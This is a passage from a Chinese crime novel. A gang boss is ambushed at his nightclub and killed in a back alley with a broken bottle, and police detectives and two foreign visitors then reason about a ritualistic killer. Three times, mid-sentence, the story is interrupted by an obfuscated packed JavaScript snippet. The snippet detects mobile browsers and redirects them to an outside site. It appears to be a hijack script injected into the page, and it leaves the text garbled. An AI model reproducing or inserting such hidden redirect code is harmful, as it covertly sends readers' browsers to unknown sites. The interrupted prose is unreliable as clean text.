不过马鹏飞没忘记自己想说的是什么。他又紧了紧搂着艳姐的手臂,侧过头往艳姐脖子上嘬了一口,说道:“艳艳,马哥现在被不少人盯着,恐怕接下来日子不太平,搞不好,马哥还得出去避避风头。” 他叹息了一声,“艳艳,马哥是真的舍不得你,可马哥也不能拖累了你。你要是觉得害怕,就先别来找马哥了,等过了风头,你要是还想跟着马哥,再来找我。”说着另一只手哐哐拍了两下胸脯,“马哥不会介意!” 艳姐哪能不知道他到底会不会不介意,正想要再次表一表忠心,包厢门却被从外面撞开了。 门外同一时间,爆发枪战。马鹏飞的手下正在还击。 撞开的门前,一个小弟抓着门框,两眼死死瞪着包厢里面,说不出话来,接着扑通一声扑倒在地,背后是好几个血窟窿。 这是有人打进来了! 用的是加装了消音器的枪!所以闯到楼上才被人发现! 马鹏飞霍然站起,把倚着他的艳姐直接掀开。他就知道会有这样一天,只是没想到这么快,他甚至还没来得及收拢这里的资金,做好跑路的准备。 马鹏飞咬着后槽牙,心中愤愤,不管今天来的是哪家狗杂种,都得让他们知道知道,马哥在道上混了这么久,名头不是白来的。 可很快,在门口还击的枪声就弱了下去,马鹏飞正想绕过茶几的腿犹豫了几分。这么快?就把他几个好手给干没了? 房内几个手下纷纷拔出了枪,准备应战。 马鹏飞却被艳姐一把抓住。艳姐吓得花容失色,梨花带雨:“马哥!马哥!你带上我呀!马哥,别扔下我!” 马鹏飞脑子突然就清醒了。我在干什么?这时候就该跑啊!对面能那么快干废门外的手下,屋里这几个够干嘛? 当即他一把甩开艳姐的手,甩得艳姐狠狠摔在沙发上。得亏没撞上茶几,否则毁容都是轻的。马鹏飞这时候半点都不讲什么怜香惜玉,大步来到窗前,开了窗就往外翻去。 他所在的包厢在夜总会的顶楼,也就是三层。他翻到窗外,可以往楼顶的露台上走,然后从另一边的室外紧急逃生梯往下走。 可是当马鹏飞翻到窗外抬头时,却听见头上的楼板上传来跑动的脚步声。 上头的路就不用想了,他低头往下看去。 好在是三层,不是三十层,虽然高了点,但视觉上还没到那么骇人的程度。马鹏飞也是拿得起刀,开得了枪的人,血性一起,也是条汉子。 很快,马鹏飞就看好了几个空调室外机架子可以作为落脚点。 就在这时,包厢被攻入,房间里也响起了激烈的枪声。没被固定的桌椅等物陆续发出撞击或者翻倒的巨响。中间夹杂着艳姐尖锐的高音。 没时间磨蹭了!马鹏飞飞身跃下! 一番惊心动魄,马鹏飞充分地体验了一把蜘蛛侠的视角,两脚一落地,他也不由得有些后怕。可现在不是后怕的时候,他赶紧站起来,他得赶紧离开这里! 马鹏飞翻下来的地方是魅影夜都的后巷,他平时也不走这里,粗粗分辨了一下方向,才起身往外飞奔。 但是还是晚了一步。 跑到拐角,马鹏飞不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615108|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不来个急刹车停下。拐角这一边,十几个男人等在这里,有人蹲着玩儿土,有人靠着墙抽烟,一个一个好不惬意,搞得被守株待兔的马鹏飞很没面子! 马鹏飞想往后退,身后也围上了人。 穷途末路…… 马鹏飞喘着粗气,胸口剧烈起伏。不知为什么,他也很奇怪为什么今晚的感觉很特别,以往从未有过这么多杂念。 对面的人陆续站起,围着他压过来。 “行,老马我认栽。”马鹏飞往后退了两步,坦然说道,“今晚老马我可以死在这儿,没问题!但老马我不能死得稀里糊涂。你们是哪家的?给老马我说个明白!” 好歹他也是做大哥的,不能窝窝囊囊地死。 对面几个年轻仔露出了好笑的神情,伤害性是没有,侮辱性极大。 一个男人的声音突然出现在背后。“我姓吴,他们都叫我,吴先生。” 马鹏飞脑子嗡的一声,僵硬地回头往来处看去。 原本在他身后的追兵此时缓缓分开,一个穿着精致的男人走了出来。这年头很少见到人整整齐齐穿西装了,这个男人却在这样一个夜里,穿着三件套,头发光滑,夹着镶钻的领带夹,胸口还插着口袋巾,腕间别着袖扣,金表若隐若现,皮鞋擦得锃亮,一丝不苟。可即便这一身最传统规整的经典装束,也掩盖不了他身上的邪气。 吴先生年纪不大,顶多也就三十的样子,比马鹏飞大概都要小几岁,完全不是马鹏飞之前以为的“老人家”。 马鹏飞难以置信!自己曾经那样想要巴结,却始终无法靠近的人,竟然是个比自己还小的人。而自己终于见到了他,却是在他想来干掉自己的场景。 “为什么?”马鹏飞想不通。“你为什么要杀我?” 吴先生看着他的眼神很失望,也很无奈,最后露出一个自嘲的笑,轻声细语:“我做了一个错误的决定。我竟然曾经想要给你个机会。然而你用事实证明,你和你弟弟都是纯种的蠢货,成事不足,败事有余的那种。” 马鹏飞愣在当场。给他机会?成事不足,败事有余?什么意思? “我本以为,你被逼到困境里,会更用心地做事,想办法把事情做好,这才愿意让你参与到我的计划中来,完成一个步骤,不着痕迹地把他留下来。而你和你弟弟,万事俱备,却硬生生搞砸了!打草惊蛇,搞得我不得不临时拿出B计划。” 马鹏飞忽然灵光一现,有些明白了,但没有完全明白。“你故意让老谢放消息给我?你是针对那两个肥羊?”马鹏飞都替弟弟感到冤枉。“你那么大势力你自己干他们不就完了!你搞那么多弯弯绕绕干什么!我弟弟现在都进去了,我们也很冤好不好?”说着顿了顿,“你还因为我弟弟被抓了,就想杀我?你这都什么逻辑?” “嘘!”吴先生表现得很明白,他不想听马鹏飞废话。他很不给面子地竖起一根食指,做了个噤声的手势。“你不必听懂我的话。以你的智商太难为你了。” 吴先生上前一步,气势完全压制马鹏飞,嘲讽地继续说道:“你也不用觉得我在侮辱你,这是事实。你以为我怎么知道今晚你几点钟会在这里喝酒呢?” 马鹏飞被提醒,对啊,为什么姓吴的会找到这里?即便所有人都知道这里是他马鹏飞的产业,也不会清楚地知道他什么时候过来啊! 吴先生看着他,笑得直摇头,“还能为什么?当然是知道这一点的人通知了我。你也别怪刘艳,人都有一个价码,你不愿意给她,她就从别人那里收。很公平!” 刘艳!这婊子! 马鹏飞目眦欲裂。 “说吧!你想怎么地?”马鹏飞豁出去了。 吴先生笑着单手解开西装外套的前排口子,让衣襟敞开。说道:“我可以再给你一个机会,或许你也可以不用死。” 30. 第 30 章 警车一路风驰电掣,赶往案发现场。 刑警队接到报案,在本市魅影夜都夜总会发生恶性集体斗殴事件,初步认定现场有死伤。 老王和陈登带人到达现场后,立即又向队里请求了支援。 夜总会里一片狼藉,情况非常复杂。 第一,是有多人不同程度的受伤。受惊的客人和夜总会工作人员们在慌乱中产生磕碰、冲撞、踩踏、刮擦之类的就不说了,有人从楼梯等高处跌落导致骨伤和内出血,急需救治。更有甚者,身上受的是小口径子弹造成的枪伤。这就涉及恶性犯罪了,大华实行的是全世界最严格的禁枪令,只要涉枪,就是恶性犯罪。 第二,客人里也有不少状况。这家夜总会背后底子不干净,在历次临检中,各种问题层出不穷,之所以一直没有彻底查封,也是因为老板特别狡猾,警方很难取得实质性的证据,没法一锤定音。结果这次倒是得来全不费工夫。包厢里什么牛鬼蛇神都有,聚众□□的,赌博的,嗑药的,一下子全炸出来了。赌博竟成了这里面最体面的群体。有几个男女因为受伤疼痛,动弹不了,不管该不该露的,反正全露了个干净,只能死死捂着脸,全身上下现在只有脸绝对不能露了;几个嗑药的被抬到担架上的时候还神志不清地抽抽着,辣眼睛,没眼看。 第三,也是最重要的一点,夜总会后巷发现人员死亡。死的就是这家藏污纳垢的夜总会的老板,死相挺惨的,被人用碎玻璃酒瓶剌开了咽喉,放光了血。 老王带着陈登在夜总会里里外外,仔仔细细查看了一遍,陈登随身的小记事本上都快写脱页了。这案子是陈登从警后遇到的性质最严重的案件了,如果陈登这辈子运气平顺些,这案子能成他职业最高峰也说不定。 “痕检有得忙!”陈登揉揉鼻子嘟哝了一句。 夜总会内部,事发时人多又混乱,就不说了,后巷这边的杀人现场竟然也一塌糊涂。都不需要精密仪器检验,肉眼可见这里曾经有不少人来回走动,留下痕迹。 “是啊!”老王叹息一声,“但是现场除了死者,没有看到有别的人受伤留下的痕迹。”老王抬头往夜总会的建筑外墙上看,“就连这里地上蹭到的一小块血,也是死者从空调外机上跳下来,没站稳,在地上自己擦伤的。” “师父,好多脚印还没验呢,你已经看出来死者动线了?”陈登知道自己的师父非常敏锐,但这就看了两眼现场,是不是有些过于迅猛了! 老王嘿嘿笑了两声,眼角鱼尾纹打着褶子,伸出两根手指指指自己的眼睛,“我的眼睛就是尺!” 他往前走了两步,指给陈登看。“死者一开始是在夜总会内部,他是老板,没事儿犯不着在后巷这种扔垃圾的地方晃悠。但他死在后巷,那他怎么到这儿来的呢?” 陈登回答:“第一种可能,他有可能是从夜总会后门出来,进入后巷。夜总会的后门区域有不少痕迹,大致上都是从里面往外走,进入后巷。这大概率是攻击方的人追击而至,他们在死者之后来到后巷。所以死者的脚印有可能被这些人的痕迹覆盖扰乱。” 老王点头,示意他继续说。 “第二种可能,在楼内遇到危险,没法下楼,可能试着往上走,避人耳目,再通过外部的紧急通道下来走地面。不过这个案件里说不通,这栋楼的紧急逃生梯在楼的另一面,下楼后犯不着再绕回到这里。” “第三种可能,不恐高,就从外立面爬下来。”老王欣慰地点点头,指着一个空调外机,接下去说,“外机上留了脚印,皮鞋的印子。”陈登仔细看去,果不其然,在这个外机的正下方,就是师父刚才说到蹭伤的地方。陈登举一反三,再往上找,果然又找到其他空调外机上的脚印,一直能追溯到三楼一个包厢的窗口。那个包厢是夜总会里规格最高的豪华包厢,如果是自家老板,在那个包厢很正常。 陈登总结:“所以,目前来看,死者从三楼包厢窗口翻到外边,因为一些原因,比如楼上已经有敌人,于是没有选择爬到楼顶露台,走另一半的紧急逃生梯,而是直接从这边的空调外机跳下,到达地面。再从这里往东南方向出逃,转到第一个岔道口,被等在那里的一队人堵住去路。” “没错。紧接着第二队人从夜总会内部通过后门追了出来,在拐角处堵住了他的退路。”老王一边说,一边带着陈登,沿着后巷的痕迹来到拐角处,也就是死者伏尸地附近。 “在这里,他被堵住后,与人搏斗……啧!有搏斗痕迹,但好像……”老王在这里看到了点意外的东西。 “好像是单挑……”陈登也有所察觉。 此时尸体已被移走,地上留下了白线框做标记。大滩的血迹洇在地上,还是蛮触目惊心的。尸体未移走时,呈俯卧姿态,脖子右侧动脉处,一个只剩瓶颈上半部分的碎玻璃酒瓶深深地扎在上面。浓稠的血浆从伤口涌出,顺着瓶颈从瓶口流出,这酒瓶残片宛如一个引流的水管,把死者的血统统放光。 老王看着脚下,长长叹了口气。“这马鹏飞啊,曾经也算是个棘手的人物,最后就死在这么个犄角旮旯里。” 回到警队,忙到飞起,这次的目击者有点多,能动弹的都被拖回来做笔录,各个房间里一时间塞满了各种款式的奇行种。 方支队长拿着他的枸杞保温杯,一脸便秘一般从走廊这头走到那头,看着这些奇形怪状的生物,半生硬汉仍会深感无力。 另一边,法医和痕检也都要赶工,于是陈登又去小周法医和小孟那边刷了脸。期间被小周法医的老师掐了把脸,把陈登小心脏吓得扑通扑通的,硬着头皮陪着笑。法医老师特别喜欢他腮帮子肉的手感,每次见到就必要上手,陈登总会绕着她走,这次实在没避开,只好躺平。总算等老师揩完油,大手一挥说,回去告诉老王,不用催了,耽误不了你们的。陈登得令,一秒都不敢再待,顾不得小周法医的偷笑,夺门而出。 大量的当事人做完大量的笔录。老王和陈登都闲不下来,干脆连夜梳理。汇总信息后初步分析,基本可以判断是本地帮派之间的黑吃黑。近期和马鹏飞不对付的帮派就那几个,警方多少也是掌握情况的,因此初步划定嫌疑范围就是这几群,接下来可以试试从那几个被抓回来的小喽啰身上找突破口。 谁知竟然没能突破。 从现场抓回来的几个小喽啰显然事先受过指点,口供是串通好的。他们口径非常一致,咬死了是死者自己拿酒瓶子和他们对峙时,意外割断了自己的脖子,反正指认真凶什么的是没有的,非要交待,真凶就是死者自己。陈登都给气笑了,合着就想说是死者自杀呗! 但不管警方指出这样的供词有多不合逻辑,有多荒谬,几个小喽啰都一口咬定,说法一个字都不带改。这就说明他们的上级非常强势,能够绝对掌控这些人的行为。且对事件后续发展很有预见性,在行动之前,对每个手下都做了预案培训。一旦这些人成了炮灰被抓,也会很清楚自己该怎么做,说什么做什么,能够将组织的损失控制在最小程度。 老王有些不安地皱了皱眉,这又是一个难缠的对手。 陈登咕咚咕咚给自己狠狠灌了一大缸水,擦了擦嘴角说:“师父,您觉得这就是一起简单的火拼致死案件么?” 老王又在摸口袋找山楂片,闻言抬头看他,“怎么说?想到什么了?” “……我总觉得,这不是一般的帮派为了抢地盘玩吞并的斗殴杀人。”陈登犹豫着说。 老王无语地看他,“你小子憋了半天,就这么句废话!” 陈登挠了挠后脑勺,说:“我也不敢确定……就是有一种感觉,马鹏飞的死是一早就定了的。” 老王终于摸出了被裤子快挤成碎渣渣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615109|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的山楂片,囫囵倒在嘴里,说不了话,就努嘴示意徒弟赶紧说下去。 陈登得了鼓励,就大胆往下说:“师父,我看到有一份夜总会调酒师的笔录,上面提到死者脖子上的酒瓶,不是夜总会里的。也就是说,这瓶子是凶手带过来的。那么有一种可能,是凶手当晚喝了很多酒。但是我也注意到,现场没有酒精泼洒的味道,所以在用来杀人时,酒瓶是空的,凶手最后用自己带过来的,喝完的空酒瓶,杀了马鹏飞。” 老王咽下嘴里的山楂片渣渣,喝了口水,想了想,摇头:“这个可能性不大,有些牵强。就看那几个小喽啰被事先教过串供这一点来看,凶手非常缜密。大量饮酒后,是否还有杀死马鹏飞的能力,有待商榷。大大降低行动的成功几率,这个凶手不像是会做这么没有计划性的事情,不符合这种类型的凶犯的行为逻辑。而且,行动前大量饮酒那种人通常更容易激情犯罪,也不符合这种类型的凶犯的个性侧写。” “排除这种可能后,就只能是凶手特意带着这样一个酒瓶,来到凶案现场,杀死马鹏飞。他用这个方式是有预谋的,他为马鹏飞专门设计了这样一个死法。” 老王沉吟思考,默默点头,说的通。这种可能性乍一听有些奇怪,但反而更符合当前真凶所表现出来的性格特质。 “事实上,凶手带来的人手里,有好几支枪。这种打定主意来杀人放火的,有枪带枪,有刀肯定也会带刀。在有枪有刀的情况下,为什么要选用更难用的玻璃酒瓶下杀手?” 思路似乎顺畅了,陈登继续提出疑点,有些东西一开始可能没觉得奇怪,但细想下去,就觉得哪哪儿都一股邪乎劲儿。“如果只为杀马鹏飞一个人,为什么带那么多人来?单是在后巷参与堵截马鹏飞的人就好几十人,实在是有些劳民伤财,难道说是为了让他们作为观众,见证马鹏飞的死亡过程?” 老王点头,跟着徒弟的思路,他也开始补充:“所以凶手为马鹏飞设计这样一个死法,是有一定的意义想要表达。” “那为什么凶手要这么做?非要搞这么一出,这个死法有什么意义?”陈登进一步提出自己心中的疑问。 陈登思维活跃,老王则经验丰富。他当即提出,是仪式感。 陈登茅塞顿开,兴奋地说:“对!师父!就是这个!仪式感!整个杀人行动就是一场仪式,有过精密的设计和部署,包括带人闯入控场,将死者逼入预定地点,然后在有众多观众的情境下,用预定的方式,表演将人杀死,呈现特定的场景。” 李弛从他们身后靠过来,听到半截,满脸都是疑惑和震惊。“登仔,什么观众,什么表演?你别吓人哈!” 陈登回头,见他这么说,只是嘿嘿笑了笑。现在毕竟都只是他和师父的推测,还需要更多实证来佐证,也不宜说太多。“你那边怎么样了?”既然不打算解释,就干脆岔开话题,说说正事。李弛和他师父其实不负责这件案子,他们还在忙绑架那桩案子,实在是这次的笔录工作过于繁重,将他们临时请来帮帮忙。 李弛本来就不擅长多线程处理,一句话就被陈登带过去了。“哦哦,”他从厚厚一叠笔录文件中抽出一份,交到老王手上。“我师父让我给您带过来。这份笔录是魅影夜都一个坐台小姐的,据她交代,她们家夜总会的老鸨刘艳,是死者马鹏飞多年的情妇。事发当晚,她也在马鹏飞的包厢里,但是事发之后就没再见过她。” “事发时她也是目击者?”陈登迅速抓住重点。 “对,马鹏飞翻出包厢窗外之前,应该都跟她在一起。现在找不着人,要么是她被凶手带走了,要么是她知道些什么,趁乱自己跑了。”李弛回答。 老王也认同这样的推测。总之不管刘艳是自己跑的,还是被人带走,一定都知道些别人不知道的事情,是重要知情人。接下来,一定要找到她。 31. 第 31 章 总统套房S888。 电视中播放着本地新闻:死者马某飞,男,35岁,Y省K市M县人…… 凌乱邋遢的阴暗后巷,地上瘆人的血迹,标注尸体的现场痕迹固定线……记者们无法拍到和发布被封锁的现场,于是这一切都以示意图的形式标出。 史蒂文正打算切换频道,罗誉的注意力被吸引了过来,阻止了他。 “怎么了,Louie?”史蒂文有些奇怪他竟然会关心当地人的死活。 “不知道……总觉得有什么不太对……”罗誉一时间抓不住那一丝奇怪的感觉,他也说不好。 这在史蒂文眼中又成了罗誉习惯性的杞人忧天。他起身走到办公桌前,双手撑着桌沿,上身前倾,看着罗誉的眼睛认真地说道:“Louie,你太紧张了,这样不好!我承认很多事情我不如你敏感,但你也不能总这样自己吓自己。一个当地人,和我们没有任何关系。” 罗誉垂下眼沉吟了一小会儿,抬眼迎上史蒂文的目光,同样认真地说:“Steven,陪我去那里看一下,我总觉得有什么很重要的信息,就在那里,只是我还没分辨出来。” 史蒂文和他对视,他能很清楚地感受到罗誉的态度,没有开玩笑,是非常认真的。这种对模糊的未知抱以坚定的态度,在以往他们并肩作战的日子里出现过为数不多的几次,每一次都……很神奇。作为罗誉的死忠粉丝,史蒂文拒绝不了他如此认真的眼神。 两人没有带其他的人手。自从取保候审,他们就停止了和当地安保公司的合同。今天还是第一次出酒店,临时做的决定,索性不折腾了。两人开了车直奔魅影夜都夜总会。 罗誉和史蒂文当然也是无法进入被封锁的魅影夜都夜总会,以及夜总会后巷的,但罗誉已经将新闻中那张后巷示意图刻进脑子里,再加上借助当下详尽的电子地图,卫星照片等等辅助,他在去魅影夜都的路上就已经可以了解到不少东西。 到达魅影夜都的正门,两人没有下车。这里不是方便停车的地方,好在罗誉也只需要看一看整体建筑和周边环境就好。 他们很快围着魅影夜都周边兜了一圈,然后找了个安静的路边临时停车位,将车停下。 罗誉对地形和夜总会的建筑结构有了一定的概念后,心中的疑虑更甚。他无法说清究竟是自己的杞人忧天,还是事实就是如此,总之,没有更多信息能够证明他的想法是对是错,他的心就只能一直悬着。 就在这时,一辆车缓缓靠近,越过他们的车,停在他们正前方的临时车位上。未几,驾驶位车门一开,陈登下车,向他们的车走来。 罗誉和史蒂文立刻下车。史蒂文夸张地张开双臂打招呼:“嗨!Dan,你怎么来了?” 陈登一愣,如果非要抱一抱,他肯定更想先跟阿誉来一下啊!他俩都那么多年未见,刚刚失而复得。可是这个合众国的傻大个儿这么热情,好像也不太好意思拂了他的意。陈登略显僵硬地跟史蒂文抱了一下,所幸傻大个儿也只是从背后拍了拍他的肩,要不然大庭广众,还真有些不好意思。 “咳……”赶紧抱完松开手,陈登就转向罗誉说道,“这里面,”他随手往大致的方向画了个圈,“有个案子,我今天过来就是看看。” 陈登现在见罗誉,会有些拘谨。原因很多,失散多年,他对现在的罗誉缺乏了解,什么话能说不能说,什么事能做不能做,他都有些没把握。他也不好直接问罗誉,你看这事儿我能说不?我能做不?越是这样,越是畏首畏尾。再加上,上次相认的时候,自己确实哭得有些……过于幼稚,事后想来一整个儿尴尬得脚趾抠地,无颜再见江东父老。在那之后接连几天,罗誉说他的那个词——哭包,一直回荡在他脑海里……怎么办,这辈子可能就这样了…… 罗誉可比他松弛多了,脸上是意外相见的欣喜,听见他说来办案,笑容收了收,随即指着魅影夜都的大楼问道:“是那里的杀人案吗?” “你知道这里发生了杀人案?” “新闻上说了的!” “那……”陈登看了看他俩,两人一脸无知无觉的坦然状,“你俩该不会是来……” “参观!”史蒂文还学会抢答了,可喜可贺。 陈登无语。 罗誉笑着解释:“我们俩这几天都待在酒店,没别的事。史蒂文是个闲不住的,觉得太无聊。刚好看到新闻里说这里的事,我就顺嘴提了句,要不来这里看看热闹,就过来了。” 陈登哭笑不得,“这种热闹你们可看不着。凶案现场现在都封起来了,无关人员不能进入的。” 罗誉点点头,笑说:“知道,我们也不进去。其实倒不如说找个借口出来逛逛,至于是哪里,也不是太重要。逛一逛,散散心,也省得史蒂文成天在沙发上滚来滚去,哼哼唧唧。” 他提到史蒂文时那么亲密无间,陈登暗想小时候我俩关系比这更好。 罗誉很快又把注意力转到了陈登身上。“你来这里办案,接下来是不是要忙?” 陈登莫名有些心虚,怎么好像刚才的小心思被他看出来了似的。他摸了摸鼻子,说:“其实还好,其实也不是这里真有什么遗漏,我就是来转转。” 罗誉立马懂了:“案情想不通,来换换脑子,找找启发和灵感?” 还得是发小,懂我嘿嘿嘿!陈登点点头,一边忍不住窃喜。 “说起来,我回来这里统共也没几天,怎么又是盗窃,又是绑架,又是凶杀,一个比一个凶残。”罗誉调侃道,“这要是在合众国,不算奇怪,可在这里,可别是让合众国的小混混们跨境发展业务了吧!” 陈登知道他是在随口开玩笑,“那不能够!我们警察是干什么的?” 史蒂文倒是没什么反应,话他都听得懂,但他还不太了解两国的警民关系有什么差异。不过他很乐于参与话题,说道:“你别说,在光鲜热闹的娱乐场所后面的阴暗角落,这种地方不管在哪国,好像都很容易发生命案。小混混们就喜欢在这种地方搞事情。” 陈登职责所在,并不能真的和他们聊实际的案情,只能试着将话题尽量绕开。“在你们那边,那些人真的像电影里那么冲动吗?动不动就打起来了?” “哦!怎么可能像电影呢?”史蒂文双眼放光,“电影里都是闹着玩儿的!谁要是按照电影里那么无脑,在他们圈子里是会被嘲笑一辈子的。” 陈登再次无语,你们那边这么凶残吗?玩儿这么野! 罗誉微笑着接话:“这么说吧……”他看了眼魅影夜都的方向,“这种事情,在合众国发生的话,他们会把它表演成一出舞台剧,远远比电影更浮夸那种。” 他看似随意地把双手插入休闲长裤的裤兜,继续说道:“帮派内部也是个小社会,或者说一个职场环境。每个人都需要有一个位置。不是‘找到自己的位置’,而是‘为自己争取到一个位置’。帮派里是不会天然就有你的位置的。所以他们的行为常常会需要带有某种强烈的暗示性,并且让这些暗示性成为自己独属的标签,让人一眼就认出来。癫狂是最容易让人记住的特质之一。” 史蒂文对这个话题也能接上话,他乐呵呵地说:“没错,每一个想要在帮派里出人头地的人,都需要尽可能地突出自己。这和在正常职场没什么两样。而最简单有效的方式,就是把事情变得有趣。把打架变成舞蹈,把杀人变成艺术。听着像变态?不要紧,你都加入帮派了,正常社会容不下你,变态又有什么关系呢?” 陈登还是不太懂。“所以……” 罗誉面朝夜总会望去,解释道:“所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615110|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当他们计划要教训某个对手,就可能会写好一个非常夸张的剧本……会设法选在他最没有防备的时候,比如喝酒、和女人在一起时,用最具震撼力的方式,比如闪电战,或者伏击战,一举震慑对方,让对方无法正常思考。” 陈登神色一凛,喝酒,女人,闪电战…… “这时候对方战斗意志会遭受重创,可能会仓惶地逃窜。他可能慌张地从他认为安全的地方,比如某个私人房间里,从那里逃出来,试图通过一条无人的小巷子偷偷离开。这时候,他的战斗意志薄弱,但不是完全丧失。那么有什么方法能再次削弱一下对手呢?”罗誉一边说,一边似乎在盘算着什么。 陈登莫名觉得,发小很可能跟他们警队的心理侧写老师会很有共同话题。 “或许可以让他先误以为自己快要脱险了,然后给他当头一棒?小巷子的尽头可能不是出路,也可以是死角。” 陈登双眼发亮盯着罗誉,他竟然能猜到那么多关键点,大致的发展过程在他这里都已经出来了。 只听罗誉继续说:“这时候对方已经不是一个人类,而是一只猎物。把猎物控制在死角中,需要不止一个人,这样才能确保猎物不会逃脱。并且,当这个死角变成猎物垂死挣扎的地方,变成角斗士扬威的斗兽场,也就需要多多益善的观众。凶手一定会带很多人来,但是有资格动手杀人的,只有凶手一人,因为那是他为自己设定的舞台。至于他要怎样杀死猎物……或许,会用他觉得最有成就感的方式,或者,最痛恨的方式吧。” 罗誉的叙述,太有逻辑和感染力,仿佛事实就应该是这样。 陈登感到诧异和惊喜,发小还是那个聪明绝顶的发小,一点没变。他当然听出来了,罗誉表面上是在说合众国的小混混,实际是在跟他聊自己对这件案子的推测。师父在这儿就好了,他老人家要是听到阿誉的推测,一定也会很欣赏他。阿誉不是警察,他接触不到具体信息,但已经能做到这样,太了不起了! 这时,罗誉回过头来,对他一笑:“这些听起来是不是很浮夸?但在合众国就不是太稀奇。你可能很难想象,合众国的很多小混混是有情怀的。只不过在别人看来,会认为他们是装腔作势,但他们自己是认真的,非常有信念感。就不知道在这里的小痞子们是不是也这么不知所谓。” 不管罗誉这样的找补是否有意义,反正陈登现在很高兴,他的发小,在试图帮助他。要不然阿誉怎么会对这样一件跟他毫无关系的事情,思考得如此深入?而更为重要的是,陈登从中获得了新的启发! 罗誉的话提醒了他,凶手对仪式感的执着达到了一种病态的程度,不能用正常人的逻辑去思考他的行为。而这样一种病态,陈登不是完全没有接触过。 陈登从一入职,师父就安排他读了大量的卷宗,以往的案件都在陈登的脑子里。 阅读卷宗有个最大的好处是,能够帮助新手迅速了解刑警破案的思维方式。卷宗里的各种资料,对信息的记录和表现的方式是什么样的?在侦破案件过程中,什么类型或特质的信息会对案件侦办更有可能有帮助?犯罪行为的发展轨迹有什么样的规律性?犯罪的人大致会有哪些类型特质……卷宗里有很多很多宝藏,只要你懂得如何去发掘。 老王不单让陈登读卷宗,也教他发掘这些宝藏的方法。所以即便前期陈登出外勤的机会比李弛少的多,但在办理案件的思路掌握上一点不比李弛少,甚至因为阅读一个案件的卷宗,比实际办理一个案件的时长要短很多,陈登了解的案件数量是李弛比不上的,纸面经验比李弛厚得多。 陈登知道,这些积累逐渐消化理解,存在自己的脑子里,在未来某一天,自己侦办的案件中,说不定什么时候就能找到参照,获得启发。他没有想到这一天这么快就来了! 32. 第 32 章 第三十二章那个人 后巷杀人案中,凶手的病态表现隐藏在一系列表象之后,这种特质非常少见,但非常典型,一旦感知到它的存在,就会像在一部古装剧中突然出现了一架星际战舰一般,让人无法忽视。 陈登现在脑子里就出现了几个之前读过的悬案卷宗,每一个都让人印象无比深刻。 有一个绑架杀人案。被害人被捆绑得跟木乃伊一样,完全无法动弹,这么过度的捆绑方式属实有点疯。凶手用一柄小刀刺穿被害人脾脏,造成其大出血死亡。捅刺脾脏的杀人方式由于难度过高,很少见,通常操作者都是此道高手。但奇怪的是,法医对伤口检验后认为,这个案件中的凶手用刀非常生疏,却对捅到受害人脾脏的目的非常强烈且明确。 有一个水塘弃尸案。被害人先是被人捆上了重物,活活扔进水塘溺死。一般的情况是凶手这时候就跑路了,可这案子不是。凶手等人溺死之后,又把人给捞上来,然后就这样把尸体遗弃在水塘边。他没有选择换个地方抛尸,而是直接原地遗弃了……那你费劲巴拉捞起来干什么?让警方早点发现? 还有一个案件,是投毒案。死者死于心脏病,差点就当成一般的死亡了,但家属方面坚称此人身体健康,绝无可能罹患心脏病。最后尸检发现,真实死因是被害人在死前一段时间内高剂量使用某类药剂,导致低血钾和其他电解质紊乱,引发心脏病。 这些悬案都透出一种病态,其中的杀人都更像是一种表演,一种仪式。在这些案发现场,都曾经出现过多人痕迹,仿佛死亡过程被众人参观。 如今放在一起来看,这些案件背后都有着某个隐秘的势力,这个势力的特点就是仪式感强烈,缜密中透着神经质的癫狂。 陈登认为有必要立刻回队里,跟师父请教和研讨一下,当即告别罗誉二人,匆匆驾车回警队。 罗誉和史蒂文目送陈登离开后,沉默地回到了自己车上。关上车门那一刻,史蒂文终于绷不住了。 “这一定是巧合!”史蒂文猛地转身向罗誉大声说道,与其说他这是对罗誉说,倒不如更像是对自己说的。“Louie,这一定是巧合,对吧!” 罗誉没有回答。他不知道该怎么回答。原本只是自己一丝异样感,在看了场地后,心中添了点隐忧,而刚才从陈登的反应中,已经完全能证实自己的很多猜测。 陈登是什么都没有说,他也没有否定什么,更没有肯定什么……但是,如果什么都没有对上,他又怎会突然柳暗花明呢?这么明显的反应,就连史蒂文都看出来了,还有什么必要自己骗自己呢? 史蒂文问出这句话,也知道自己是在自欺欺人,他自己都不信是巧合。心中烦躁,无处宣泄,到最后也只能握拳在方向盘上狠狠捶上一下而已。 回去的路上,罗誉一直在思考。放下一条边的车窗外,吹进来的凉风把他的头发吹乱,也让他的脑子更清醒。当他们的车缓缓滑进酒店地库的车位停稳时,罗誉半张脸在阴影里。 